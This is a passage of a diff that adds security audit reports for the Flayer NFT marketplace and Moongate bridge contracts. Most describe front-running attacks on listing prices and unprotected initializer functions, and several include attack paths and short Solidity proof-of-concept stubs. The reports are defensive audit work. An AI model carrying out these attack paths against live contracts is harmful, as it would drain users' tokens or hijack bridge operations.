+A malicious actor can exploit this by front-running a legitimate relister and setting the price much higher, for example, 3x the floor price (3e18). This forces the legitimate relister to pay the difference between the inflated price and their intended price, sending the excess funds to the malicious actor.
+
+1. Bob lists an NFT at the floor price.
+2. Alice attempts to relist the NFT at 1.2 times the floor price.
+3. A malicious actor front-runs Alice's transaction by relisting the NFT at 3 times the floor price.
+
+#### Result:
+Instead of paying Bob the difference of 0.2 times the floor price, Alice ends up paying the malicious actor the difference between 3 times and 1.2 times the floor price—approximately 2 times the floor price—allowing the malicious actor to steal the excess funds.
+
+## Impact
+The legitimate relister ends up paying significantly more than intended due to the front-running, resulting in a financial loss.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+
+## Tool used
+Manual
+
+Manual Review
+
+## Recommendation
+- Minimum Delay Between Relists: Implement a delay or cooldown period between relisting or modifying an NFT's listing. This prevents multiple relist attempts within a short timeframe, reducing the potential for front-running attacks.
+
+- Price Verification: Introduce checks to verify that the relisting price is reasonable and not excessively inflated compared to recent listings.
\ No newline at end of file
diff --git a/007/560.md b/007/560.md
new file mode 100644
index 0000000..8710dcd
--- /dev/null
+++ b/007/560.md
@@ -0,0 +1,77 @@
+Faithful Plum Robin
+
+Medium
+
+# Lack of any max price protection in reserve operation allows front-running
+
+### Summary
+
+Lack of any check for max listing price protection in the reserve function will cause an unfair price increase for legitimate users as malicious actors will front-run reserve operations with relist calls at higher prices.
+
+### Root Cause
+
+In Listings.sol, the reserve function lacks protection against unexpected price changes between transaction submission and execution. This allows for price manipulation through front-running.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L720
+The reserve function doesn't include any mechanism for the user to specify a maximum acceptable price or to ensure the price hasn't changed since they initiated the transaction:
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // ... (previous code)
+
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // ... (rest of the function)
+}
+```
+This vulnerability allows the listing price to be changed (via relist) after a user has submitted their reserve transaction but before it's executed, without any safeguards to protect the user from this change.
+
+This contrasts with fillListings, which is protected by owner-wise input and checks:
+```solidity
+function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ // ... (previous code)
+
+ for (uint ownerIndex; ownerIndex < params.tokenIdsOut.length; ++ownerIndex) {
+ // ... (loop code)
+
+ owner = _listings[collection][params.tokenIdsOut[ownerIndex][0]].owner;
+
+ for (uint i; i < ownerIndexTokens; ++i) {
+ uint tokenId = params.tokenIdsOut[ownerIndex][i];
+
+ if (i != 0 && _listings[collection][tokenId].owner != owner) {
+ revert InvalidOwner();
+ }
+
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker observes a pending reserve transaction in the mempool.
+2. Attacker quickly submits a relist transaction with a higher price and higher gas fee.
+3. The relist transaction is processed first, updating the listing price.
+4. The original reserve transaction is processed, using the new, higher price.
+5. The reserver pays the higher price difference to the attacker (new owner).
+
+### Impact
+
+The legitimate user (reserver) suffers an unexpected price increase. The attacker gains the difference between the new and old listing prices minus the floor price.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement slippage protection in the reserve function, allowing users to specify a maximum price they're willing to pay or a check that nft is still listed by the original owner.
\ No newline at end of file
diff --git a/007/584.md b/007/584.md
new file mode 100644
index 0000000..b705168
--- /dev/null
+++ b/007/584.md
@@ -0,0 +1,43 @@
+Mammoth Tawny Gazelle
+
+High
+
+# Relisting can be front-run to steal collection Tokens from other users
+
+## Summary
+In flayer users can `relist` NFTs that are already in the pool and not in auction, to allow those with specialized knowledge to profit by repricing mispriced assets in the pool. owners of the original listing can front-run a new relisting to make the user pay more than they should.
+
+## Vulnerability Detail
+When listings are created `floorMultiple` and duration are specified among other things, to characterize the listing based on protocol specifications.
+In this exploit;
+1. user A(malicious user) calls createListing, locks NFT and receives fTokens with a floor multiple of 150( to 2d.p) 1.5x, which make the total listing price 1.5ftokens, but they receive 1ftoken during creation so the balance is just 0.5 which the `relister` would have to send based on the code below
+
+```solidity
+// If the floor multiple of the original listings is different, then this needs
+// to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice); //@audit <= here
+ }
+ }
+```
+
+2. user B(Alice) calls relist with the intention of listing the token for 1.8x planning to pay the disparity (1.5 - 1.0) = 0.5fTokens to user B, as shown in the contract above
+
+3. user A(Malicious user) front-runs user B's call by calling modifyListing to increase the floorMultiple to say 5x. just before they can relist.
+
+4. User B ends up paying (5.0 -1.0) = 4.0fTokens to userA instead, because there is no `maxPriceDifference` variable where user B specifies the maximum amount they are willing to pay to original owner during relisting, the tokens are deducted from their balance and sent to user A in the code snippet.
+
+
+## Impact
+Users can basically have all their collectionTokens drained for malicious user's profit, through front-running.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L655-L658
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add a variable/parameter where users can specify the maximum amount they are willing to pay to original owner during relisting, as this price should be fixed.
\ No newline at end of file
diff --git a/007/630.md b/007/630.md
new file mode 100644
index 0000000..e496958
--- /dev/null
+++ b/007/630.md
@@ -0,0 +1,30 @@
+Genuine Slate Sloth
+
+High
+
+# Price Manipulation Vulnerability in Listings Contract Leading to Buyer Overpayment
+
+## Summary
+The seller can front-run a buyer's transaction to increase the price of a listing, resulting in the buyer losing more money than expected.
+
+## Vulnerability Detail
+In the `Listings` contract, the seller can modify the price of a liquid listing, or another user can re-list an NFT at a higher price. A malicious user can exploit these functions to front-run a buyer's transaction, increasing the price of an NFT and causing the buyer to lose more money than expected. This attack can be executed with the following steps (similar steps apply for the re-listing function):
+1. The attacker calls the `Listings::createListings` function to list NFTs.
+2. The buyer, who wants to purchase an NFT, approves the `CollectionToken` for the `Listings` contract and then calls the `Listings::fillListings` function. The buyer may approve a large amount of `CollectionToken` to avoid having to approve it again in future transactions.
+3. The attacker monitors this transaction in the transaction mempool. They then send a `Listings::modifyListings` transaction with more gas than the buyer’s transaction to ensure it is executed first, thereby increasing the price of the listing.
+=> The attacker achieves their goal.
+
+## Impact
+Buyers may lose more money than they expected.
+
+## Code Snippet
+- [Listings::modifyListings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303) function
+- [Listings::fillListings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528) function
+- [Listings::relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+To address this issue, the `Listings::fillListings` and `Listings::reserve` functions should include input parameters allowing the buyer to pass in the expected listing price. Additionally, logic should be added to check that the listing price stored in the contract matches the price passed in by the buyer.
\ No newline at end of file
diff --git a/007/666.md b/007/666.md
new file mode 100644
index 0000000..9f62c8d
--- /dev/null
+++ b/007/666.md
@@ -0,0 +1,130 @@
+Uneven Burlap Dalmatian
+
+High
+
+# No slippage protection on ```Listings::fillListings()``` can cause ```buyer``` being front-runned by price change from ```lister``` and causing him to overpay.
+
+### Summary
+
+Owner of a ```listing``` can front-run the ```Listings::fillListings()``` call of buyer and change the price of the ```listing``` causing him to overpay without having any way to be protected from that.
+
+### Root Cause
+
+Buyer of a token can give his ```collectionTokens``` and buy the token by calling ```Listings::fillListings()``` and get the token the specified price. Let's see the ```Listings::fillListings()``` :
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ // ...
+
+ // Iterate over owners
+ for (uint ownerIndex; ownerIndex < params.tokenIdsOut.length; ++ownerIndex) {
+ // Iterate over the owner tokens. If the owner has no tokens, just skip
+ // to the next owner in the loop.
+ uint ownerIndexTokens = params.tokenIdsOut[ownerIndex].length;
+ if (ownerIndexTokens == 0) {
+ continue;
+ }
+
+ // Reset our owner for the group as the first owner in the iteration
+ owner = _listings[collection][params.tokenIdsOut[ownerIndex][0]].owner;
+
+ for (uint i; i < ownerIndexTokens; ++i) {
+ uint tokenId = params.tokenIdsOut[ownerIndex][i];
+
+ // If this is not the first listing, then we want to validate that the owner
+ // matches the first of the group.
+ if (i != 0 && _listings[collection][tokenId].owner != owner) {
+ revert InvalidOwner();
+ }
+
+ // Action our listing fill
+ _fillListing(collection, address(_collectionToken), tokenId);
+ }
+
+ // If there is ERC20 left to be claimed, then deposit this into the escrow
+ ownerReceives = _tload(FILL_PRICE) - (ownerIndexTokens * 1 ether * 10 ** _collectionToken.denomination());
+ if (ownerReceives != 0) {
+ _deposit(owner, address(_collectionToken), ownerReceives);
+ totalPrice += ownerReceives;
+ }
+
+ refundAmount = _tload(FILL_REFUND);
+ if (refundAmount != 0) {
+ _deposit(owner, address(_collectionToken), refundAmount);
+ assembly { tstore(FILL_REFUND, 0) }
+ }
+
+ // Reset the price back to zero
+ assembly { tstore(FILL_PRICE, 0) }
+
+ totalBurn += ownerIndexTokens;
+ }
+
+ // Transfer enough tokens from the user to cover the `_deposit` calls made during
+ // our fill loop.
+@> _collectionToken.transferFrom(msg.sender, address(this), totalPrice);
+
+ // ...
+ }
+
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+ // Get our listing information
+@> (bool isAvailable, uint price) = getListingPrice(_collection, _tokenId);
+
+ // ...
+ }
+
+ function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
+ // ...
+
+ // Get our collection token's base price, accurate to the token's denomination
+ price_ = 1 ether * 10 ** locker.collectionToken(_collection).denomination();
+
+ // If we don't have a listing object against the token ID, then we just consider
+ // it to be a Floor level asset.
+ if (listing.owner == address(0)) {
+ return (true, price_);
+ }
+
+ // Determine the listing price based on the floor multiple. If this is a dutch
+ // listing then further calculations will be applied later.
+@> uint totalPrice = (price_ * uint(listing.floorMultiple)) / MIN_FLOOR_MULTIPLE;
+
+ // ...
+
+ // ...
+
+ // By this point, we just show the listing value as it should be for sale
+@> return (true, totalPrice);
+ }
+
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L766C1-L772C6)
+
+As we can see, the ```listing``` price is determined from the ```listing.floorMultiple```. However, ```Listings::fillListings()``` lacks the support for slippage protection (user to specify max amount of ```collectionTokens``` he is willing to trade for the specific token) and this allows the owner of the ```listing``` to modify the ```floorMultiple``` of the ```listing``` just before the buy.
+
+### Internal pre-conditions
+
+1. User A has create a ```listing``` for his token using ```Listings::createListings()``` specifying ```floorMultiple``` and ```duration```.
+
+### External pre-conditions
+
+1. Buyer wants to exchange his ```collectionTokens``` so to buy the token that User A listed.
+
+### Attack Path
+
+1. Seller lists his token on ```Listings``` contract.
+2. Buyer calls ```Listings::fillListings()``` so to buy it.
+3. Seller front-runs this call by modifying the ```floorMultiple``` calling ```Listings::modifyListings()```.
+4. Buyer overpays for the token unexpectedly.
+
+### Impact
+
+The impact of this vulnerability is critical since any malicious lister can cause unexpected (and as high as the balance of the buyer) loss by having him overpaying for a token. Since there is no protection against this, we can expect this phenomenon to be happening a lot on high volume and victims accumulate lot of losses of funds due to this. In any case, it goes without saying that in a protocol like this slippage protection is a **must**.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this vulnerability successfully, add a parameter on every NFT/```collectionToken``` exchange that will serve as the ```collectionTokensMax``` protection.
\ No newline at end of file
diff --git a/007/704.md b/007/704.md
new file mode 100644
index 0000000..a94629d
--- /dev/null
+++ b/007/704.md
@@ -0,0 +1,46 @@
+Sweet Coconut Robin
+
+Medium
+
+# Malicious users will modify the price of a listing before it is filled to make buyers pay more
+
+### Summary
+
+[Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528) is missing a check to confirm how much the buyer intends to buy, which means it can frontrun the buyer and change the price, making it take a loss.
+
+### Root Cause
+
+In `Listings::528`, there is no slippage check.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Buyer calls `Listings::fillListings()`.
+2. Seller frontruns it and increases the price.
+3. Buyer gets the nft for a much bigger price.
+
+### Impact
+
+The user takes a loss.
+
+### PoC
+
+```solidity
+struct FillListingsParams {
+ address collection;
+ uint[][] tokenIdsOut;
+}
+
+function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused
+```
+
+### Mitigation
+
+Set a maximum price.
\ No newline at end of file
diff --git a/007/739.md b/007/739.md
new file mode 100644
index 0000000..0c73fe7
--- /dev/null
+++ b/007/739.md
@@ -0,0 +1,100 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Frontrunning Vulnerability in Token `Reservation` Process
+
+## Summary
+The `reserve` function in the `Listings` contract is susceptible to frontrunning attacks, where an attacker can observe and preemptively execute transactions to reserve tokens before the original user. This vulnerability can lead to unauthorized reservations and disrupt the intended reservation process.
+## Vulnerability Detail
+Frontrunning occurs when an attacker monitors pending transactions in the blockchain's public mempool and submits their own transaction with a higher gas fee to be processed first. In the context of the `reserve` function, this allows an attacker to become the reserver of a token by front-running legitimate users' transactions.
+## Impact
+Unauthorized Reservations: Attackers can reserve tokens intended for other users, potentially blocking legitimate access.
+User Frustration: Legitimate users may experience failed transactions and increased costs as they attempt to reserve tokens.
+Market Manipulation: Frontrunners can exploit the reservation process for personal gain, disrupting market dynamics.
+## Code Snippet
+```solidity
+function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Commit-Reveal Scheme: Implement a two-step process where users first commit to reserving a token and later reveal their commitment, reducing the predictability of transactions.
+
+Randomized Delays: Introduce a randomized delay or time window for reservations to make it harder for attackers to predict transaction timing.
+
+Gas Price Management: Encourage users to set competitive gas prices and monitor network conditions to reduce the likelihood of being frontrun.
\ No newline at end of file
diff --git a/008.md b/008.md
new file mode 100644
index 0000000..1a584d1
--- /dev/null
+++ b/008.md
@@ -0,0 +1,61 @@
+Uneven Chocolate Starling
+
+Medium
+
+# Owner should be allowed to set signer only once, else some of the signed signatures/transactions will fail
+
+### Summary
+
+In the `AirdropRecipient.sol`, the owner is able to set the `erc1272Signer` by calling `setERC1271Signer(...)`. Once the signer is set, the users will submit transaction to verify if the signature is valid. Since the signing happens offline, the submission of transaction is at the discretion of the user.
+
+If the owner updates the `erc1272Signer` with a new value, the transaction with signatures generated and pending submission will revert.
+
+
+
+### Root Cause
+
+In the below function, the owner is able to set the `erc1272Signer` multiple time, which could lead of grievances for the users. The signed transaction will revert due to failure to match.
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L69-L71
+
+This will happens because the signature is generated using the old `erc1272Signer` while the verification is being done against the new `erc1272Signer` which will not match
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L58-L62
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Generate signature for a transaction
+2. As owner, update the `erc1272Signer` by calling `setERC1271Signer()` with a different address
+3. the transaction should revert
+
+### Impact
+
+The transactions signed by the users will revert if the `erc1272Signer` is updated.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The recommendation is to restrict updating of `erc1272Signer` for the first time only.
+Once the value is set, a new value cannot be assigned to ` `erc1272Signer` .
+
+To achieve this, implement the logic as below.
+
+```solidity
+ function setERC1271Signer(address _signer) external onlyOwner {
+ + require(erc1272Signer==address(0x0),"Signer already set");
+ + require(_signer !=address(0x0),"Signer cannot be zero address");
+ erc1272Signer = _signer;
+ }
+```
diff --git a/008/001.md b/008/001.md
new file mode 100644
index 0000000..51fcdd6
--- /dev/null
+++ b/008/001.md
@@ -0,0 +1,28 @@
+Tall Ultraviolet Turkey
+
+High
+
+# Malicious users can frontrun the initialization of bridged NFTs with malicious code
+
+### Summary
+
+The absence of control checks in the functions `initializeERC721Bridgable` and `initializeERC1155Bridgable` within the `InfernalRiftBelow.sol` contract allows for frontrunning the initialization of the bridged NFT contract using malicious code. These initialization functions can be invoked by any party and are limited to a single execution, enabling the execution of malicious code. Additionally, the `setInfernalRiftBelow` function in the `InfernalRiftAbove.sol` contract is susceptible to frontrunning with malicious code.
+
+### Root Cause
+
+- In [InfernalRiftBelow.sol:103](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103) lack of permission control
+- In [InfernalRiftBelow.sol:119](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L119) lack of permission control
+- In [InfernalRiftAbove.sol:71](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71) lack of permission control
+
+### External pre-conditions
+
+1. The admin must deploy the contract
+2. A malicious user can call initializeERC721Bridgable and initializeERC1155Bridgable before the admin does
+
+### Impact
+
+All contract logic has been altered
+
+### Mitigation
+
+`initializeERC721Bridgable`, `initializeERC1155Bridgable`, and `setInfernalRiftBelow` should be called within the constructor
\ No newline at end of file
diff --git a/008/061.md b/008/061.md
new file mode 100644
index 0000000..b43d1ce
--- /dev/null
+++ b/008/061.md
@@ -0,0 +1,72 @@
+Striped Steel Beaver
+
+High
+
+# Any user can initialize critical contract parameters, leading to potential exploitation
+
+### Summary
+
+The missing access control in InfernalRiftBelow.sol will cause a critical security risk for the protocol as any user will be able to call the initializeERC721Bridgable() and initializeERC1155Bridgable() functions, allowing them to set malicious contract implementations for bridging operations.
+
+### Root Cause
+
+In InfernalRiftBelow.sol:103 and InfernalRiftBelow.sol:119, there are no access control checks implemented to restrict who can call the initializeERC721Bridgable() and initializeERC1155Bridgable() functions, which allows any user to set these critical implementation addresses.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L119
+
+### Internal pre-conditions
+
+1. The ERC721_BRIDGABLE_IMPLEMENTATION and ERC1155_BRIDGABLE_IMPLEMENTATION values are set to address(0) initially, allowing the initialization functions to be called.
+2. Any user can call the initializeERC721Bridgable() and initializeERC1155Bridgable() functions to set the respective implementations.
+
+### External pre-conditions
+
+1. The attacker must know the addresses of the protocol and the uninitialized state of the implementation contracts.
+2. The bridge must be live and in use by legitimate users, meaning that assets and users rely on these implementations for bridging tokens across chains.
+
+### Attack Path
+
+1. An attacker calls initializeERC721Bridgable(address attackerControlledContract) to set a malicious contract as the ERC721_BRIDGABLE_IMPLEMENTATION.
+2. The attacker can now control the ERC721 bridging process and manipulate it to mint, steal, or bypass token transfers.
+3. Similarly, the attacker calls initializeERC1155Bridgable(address attackerControlledContract) to set a malicious contract for the ERC1155_BRIDGABLE_IMPLEMENTATION.
+4. Once the implementations are set, the attacker can trigger the cross-chain bridge for ERC721 or ERC1155 tokens, exploiting users trying to transfer assets.
+
+### Impact
+
+The protocol suffers a complete loss of control over the token bridging process, as the attacker can now manipulate ERC721 and ERC1155 bridging implementations. Users suffer potential loss of tokens transferred through the bridge due to malicious implementations. The attacker gains the ability to intercept or control token transfers between L2 and L1, leading to significant financial loss for users and the protocol.
+
+### PoC
+
+```solidity
+contract MaliciousImplementation {
+ function setTokenURIAndMintFromRiftAbove(uint256 tokenId, string calldata uri, address recipient) external {
+ // Mint tokens to the attacker's address
+ mintTokensToAttacker();
+ }
+
+ function mintTokensToAttacker() internal {
+ // Attack logic to steal tokens
+ }
+}
+
+// Attacker deploys their malicious implementation and sets it
+InfernalRiftBelow bridge = InfernalRiftBelow(bridgeAddress);
+bridge.initializeERC721Bridgable(address(maliciousImplementation));
+```
+
+### Mitigation
+
+Add an onlyOwner or similar access control mechanism to restrict who can call initializeERC721Bridgable() and initializeERC1155Bridgable(). This ensures only trusted parties can set these critical parameters.
+
+```solidity
+function initializeERC721Bridgable(address _erc721Bridgable) external onlyOwner {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+}
+```
\ No newline at end of file
diff --git a/008/062.md b/008/062.md
new file mode 100644
index 0000000..8b1d708
--- /dev/null
+++ b/008/062.md
@@ -0,0 +1,69 @@
+Striped Steel Beaver
+
+High
+
+# Lack of Access Control on Initialization of InfernalRiftBelow Contract
+
+### Summary
+
+The missing access control in InfernalRiftAbove.sol will cause a critical vulnerability where any user can set the InfernalRiftBelow contract address. This allows a malicious actor to redirect critical bridge operations to a malicious implementation.
+
+### Root Cause
+
+In InfernalRiftAbove.sol:71, the setInfernalRiftBelow function allows any user to set the INFERNAL_RIFT_BELOW contract without any access control restrictions. There is no onlyOwner or permissioned check, meaning anyone can call this function.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71
+
+### Internal pre-conditions
+
+1. The INFERNAL_RIFT_BELOW value is set to address(0) initially, allowing it to be set by any user.
+2. No owner or access control mechanism exists on the setInfernalRiftBelow() function, enabling any user to execute this function.
+
+### External pre-conditions
+
+1. The bridge must be live and in use by legitimate users, relying on the InfernalRiftBelow contract to handle cross-chain token transfers.
+2. An attacker must know the uninitialized state of the INFERNAL_RIFT_BELOW value in the contract.
+
+### Attack Path
+
+1. An attacker calls setInfernalRiftBelow(address attackerControlledContract) and sets a malicious contract as the InfernalRiftBelow contract.
+2. The attacker-controlled InfernalRiftBelow contract is now the destination for all cross-chain transactions.
+3. When users send tokens to be bridged, the attacker can manipulate the tokens sent to the malicious contract, potentially stealing the tokens or redirecting them.
+
+### Impact
+
+The protocol and its users suffer a complete loss of control over cross-chain bridge operations. The attacker gains the ability to hijack token transfers, causing users to lose their bridged tokens. The attacker can manipulate the entire bridging process, gaining control over the assets sent through the bridge.
+
+### PoC
+
+```solidity
+contract MaliciousRiftBelow {
+ function thresholdCross(Package[] calldata packages, address recipient) external {
+ // Malicious logic to steal bridged tokens
+ stealTokens();
+ }
+
+ function stealTokens() internal {
+ // Attack logic
+ }
+}
+
+// Attacker sets their malicious contract as the rift
+InfernalRiftAbove bridge = InfernalRiftAbove(bridgeAddress);
+bridge.setInfernalRiftBelow(address(maliciousRiftBelow));
+```
+
+### Mitigation
+
+Add an onlyOwner modifier or equivalent access control to the setInfernalRiftBelow() function to restrict its execution to authorized parties. This will prevent unauthorized users from setting the InfernalRiftBelow contract address.
+
+```solidity
+function setInfernalRiftBelow(address _infernalRiftBelow) external onlyOwner {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+}
+```
\ No newline at end of file
diff --git a/008/114.md b/008/114.md
new file mode 100644
index 0000000..9b61892
--- /dev/null
+++ b/008/114.md
@@ -0,0 +1,82 @@
+Lively Onyx Wolverine
+
+Medium
+
+# `initializeERC721Bridgable` and `initializeERC1155Bridgable` can be called by anyone
+
+### Summary
+
+`setInfernalRiftBelow`, `initializeERC721Bridgable` and `initializeERC1155Bridgable` are all exposed to regular users, i.e. they have no access control and can be configured maliciously in order to cause loss of funds.
+
+### Root Cause
+
+The bellow functions lack access control and can be called by users setting them to whatever variables:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71-L78
+```solidity
+ function setInfernalRiftBelow(address _infernalRiftBelow) external {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103-L126
+```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+
+ function initializeERC1155Bridgable(address _erc1155Bridgable) external {
+ if (ERC1155_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC1155_BRIDGABLE_IMPLEMENTATION = _erc1155Bridgable;
+ emit ERC1155BridgableImplementationUpdated(_erc1155Bridgable);
+ }
+```
+A likely scenario could occur where users send NFTs, but if the second contract is not properly configured, a malicious user could configure it himself, causing the users to lose funds.
+
+Example:
+1. InfernalRiftAbove is deployed and configured
+2. InfernalRiftBelow is also deployed, but still not configured
+3. Bob sends some NFTs
+4. Alice sees that Bob has sent a TX, but also knows that InfernalRiftBelow is not configured
+5. She maliciously configures it wrong, making `ERC1155_BRIDGABLE_IMPLEMENTATION` and `ERC721_BRIDGABLE_IMPLEMENTATION` her own custom contracts that don't mint
+6. Bob gets his NFTs stuck inside InfernalRiftAbove
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+None, these functions are hardcoded and exposed to users by default.
+
+### Attack Path
+
+1. The contract has just been deployed on a new L2
+2. User sends NFTs to be transferred to a new L2
+3. Another users configures the L2 contract with wrong params in order to stuck the NFTs for the first user
+
+### Impact
+
+Contract DOS
+Loss of funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add these functions to the constructor instead of having custom setters.
\ No newline at end of file
diff --git a/008/325.md b/008/325.md
new file mode 100644
index 0000000..044e981
--- /dev/null
+++ b/008/325.md
@@ -0,0 +1,35 @@
+Flaky Sable Hamster
+
+High
+
+# Missing access control in `InfernalRiftAbove:setInfernalRiftBelow()`
+
+## Summary
+Missing access control in `InfernalRiftAbove:setInfernalRiftBelow()`
+
+## Vulnerability Detail
+setInfernalRiftBelow() set the `INFERNAL_RIFT_BELOW` address & if the address is set once it can't be reset. But the problem is it lacks access control.
+```solidity
+function setInfernalRiftBelow(address _infernalRiftBelow) external {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+ }
+```
+A malicious user can set a malicious address directly or by frontrunning the deployer.
+
+## Impact
+Whole protocol will brick because `INFERNAL_RIFT_BELOW` is used in `crossTheThreshold()` & `crossTheThreshold1155()` that sends ERC721/1155 from L1 to L2
+
+## Code Snippet
